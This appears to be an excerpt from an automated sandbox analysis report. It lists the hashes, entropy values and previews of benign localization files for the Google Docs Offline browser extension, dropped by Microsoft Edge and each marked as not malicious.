Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ....".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. ..... ......... Google ......... ... ........ ...., ..... . .......... .. ........ ........ Google .......... . ........ ...... .............. ... ....... ... ...... ........ .. ...........".. },.. "explanationofflineenabled": {.. "message": "...... ..., ... . .... ...... .. ....... ...... . ........ ........ ... .. ....... .....".. },.. "extdesc": {.. "message": "....... . ........... ........., ...... . ............ . ....... ...... . ... . ... .. ... ........ .........".. },.. "extname": {.. "message

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\sv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	884
Entropy (8bit):	4.627108704340797
Encrypted:	false
SSDEEP:	24:1HA0NOYT/6McbnX/yzklyOIPRQrJlvDymvBd:vNOcyHnX/yg0P4Bymn
MD5:	90D8FB448CE9C0B9BA3D07FB8DE6D7EE
SHA1:	D8688CAC0245FD7B886D0DEB51394F5DF8AE7E84
SHA-256:	64B1E422B346AB77C5D1C77142685B3FF7661D498767D104B0C24CB36D0EB859
SHA-512:	6D58F49EE3EF0D3186EA036B868B2203FE936CE30DC8E246C32E90B58D9B18C624825419346B62AF8F7D61767DBE9721957280AA3C524D3A5DFB1A3A76C00742
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKAPA NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du .r offline. Om du vill anv.nda Google Dokument utan internetuppkoppling, .ppna inst.llningarna p. Google Dokuments startsida och aktivera offlinesynkronisering n.sta g.ng du .r ansluten till internet.".. },.. "explanationofflineenabled": {.. "message": "Du .r offline, men det g.r fortfarande att redigera tillg.ngliga filer eller skapa nya.".. },.. "extdesc": {.. "message": "Redigera, skapa och visa dina dokument, kalkylark och presentationer . helt utan internet.tkomst.".. },.. "extname": {.. "message": "Google Dokument Offline".. },.. "learnmore": {.. "message": "L.s mer".. },.. "popuphelptext": {.. "message": "Skriv, redigera och samarbeta .verallt, med eller utan internetanslutning.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\sw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	980
Entropy (8bit):	4.50673686618174
Encrypted:	false
SSDEEP:	12:1HASvgNHCBxNx1HMHyMhybK7QGU78oCuafIvfCBxex6EYPE5E1pOCSUJqONtCBh8:1HAGDQ3y0Q/Kjp/zhDoKMkeAT6dBaX
MD5:	D0579209686889E079D87C23817EDDD5
SHA1:	C4F99E66A5891973315D7F2BC9C1DAA524CB30DC
SHA-256:	0D20680B74AF10EF8C754FCDE259124A438DCE3848305B0CAF994D98E787D263
SHA-512:	D59911F91ED6C8FF78FD158389B4D326DAF4C031B940C399569FE210F6985E23897E7F404B7014FC7B0ACEC086C01CC5F76354F7E5D3A1E0DEDEF788C23C2978
Malicious:	false
Preview:	{.. "createnew": {.. "message": "FUNGUA MPYA".. },.. "explanationofflinedisabled": {.. "message": "Haupo mtandaoni. Ili uweze kutumia Hati za Google bila muunganisho wa intaneti, wakati utakuwa umeunganishwa kwenye intaneti, nenda kwenye sehemu ya mipangilio kwenye ukurasa wa kwanza wa Hati za Google kisha uwashe kipengele cha usawazishaji nje ya mtandao.".. },.. "explanationofflineenabled": {.. "message": "Haupo mtandaoni, lakini bado unaweza kubadilisha faili zilizopo au uunde mpya.".. },.. "extdesc": {.. "message": "Badilisha, unda na uangalie hati, malahajedwali na mawasilisho yako . yote bila kutumia muunganisho wa intaneti.".. },.. "extname": {.. "message": "Hati za Google Nje ya Mtandao".. },.. "learnmore": {.. "message": "Pata Maelezo Zaidi".. },.. "popuphelptext": {.. "message": "Andika hati, zibadilishe na ushirikiane na wuser popote ulipo, iwe una muunganisho wa intaneti au huna.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\ta\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1941
Entropy (8bit):	4.132139619026436
Encrypted:	false
SSDEEP:	24:1HAoTZwEj3YfVLiANpx96zjlXTwB4uNJDZwq3CP1B2xIZiIH1CYFIZ03SoFyxrph:JCEjWiAD0ZXkyYFyPND1L/I
MD5:	DCC0D1725AEAEAAF1690EF8053529601
SHA1:	BB9D31859469760AC93E84B70B57909DCC02EA65
SHA-256:	6282BF9DF12AD453858B0B531C8999D5FD6251EB855234546A1B30858462231A
SHA-512:	6243982D764026D342B3C47C706D822BB2B0CAFFA51F0591D8C878F981EEF2A7FC68B76D012630B1C1EB394AF90EB782E2B49329EB6538DD5608A7F0791FDCF5
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....... .........".. },.. "explanationofflinedisabled": {.. "message": ".......... ........... .... ....... ..... Google ......... .........., ...... .... ........... ......... ...., Google ... ................... ................ ......, ........ ......... ..........".. },.. "explanationofflineenabled": {.. "message": ".......... ..........., .......... .......... .......... ......... ........... ...... .....

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\te\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1969
Entropy (8bit):	4.327258153043599
Encrypted:	false
SSDEEP:	48:R7jQrEONienBcFNBNieCyOBw0/kCcj+sEf24l+Q+u1LU4ljCj55ONipR41ssrNix:RjQJN1nBcFNBNlCyGcj+RXl+Q+u1LU4s
MD5:	385E65EF723F1C4018EEE6E4E56BC03F
SHA1:	0CEA195638A403FD99BAEF88A360BD746C21DF42
SHA-256:	026C164BAE27DBB36A564888A796AA3F188AAD9E0C37176D48910395CF772CEA
SHA-512:	E55167CB5638E04DF3543D57C8027B86B9483BFCAFA8E7C148EDED66454AEBF554B4C1CF3C33E93EC63D73E43800D6A6E7B9B1A1B0798B6BDB2F699D3989B052
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ...... ........ ......".. },.. "explanationofflinedisabled": {.. "message": ".... ........... ........ ......... ........ ....... Google Docs... .............., .... ............ ....... ..... ...... .... Google Docs .... ...... ............. ......, ........ ........ ... .......".. },.. "explanationofflineenabled": {.. "message": ".... ........... ......., .... .... ........ .......... .... ....... ..... ....... .... ..

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\th\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1674
Entropy (8bit):	4.343724179386811
Encrypted:	false
SSDEEP:	48:fcGjnU3UnGKD1GeU3pktOggV1tL2ggG7Q:f3jnDG1eUk0g6RLE
MD5:	64077E3D186E585A8BEA86FF415AA19D
SHA1:	73A861AC810DABB4CE63AD052E6E1834F8CA0E65
SHA-256:	D147631B2334A25B8AA4519E4A30FB3A1A85B6A0396BC688C68DC124EC387D58
SHA-512:	56DD389EB9DD335A6214E206B3BF5D63562584394D1DE1928B67D369E548477004146E6CB2AD19D291CB06564676E2B2AC078162356F6BC9278B04D29825EF0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": ".............. ............. Google .................................... ............................... Google ...... .................................................................".. },.. "explanationofflineenabled": {.. "message": "................................................................".. },.. "extdesc": {.. "message": "..... ..... ........

C:\Users\user\AppData\Local\Temp\scoped_dir7780_1185864583\CRX_INSTALL\_locales\tr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1063
Entropy (8bit):	4.853399816115876
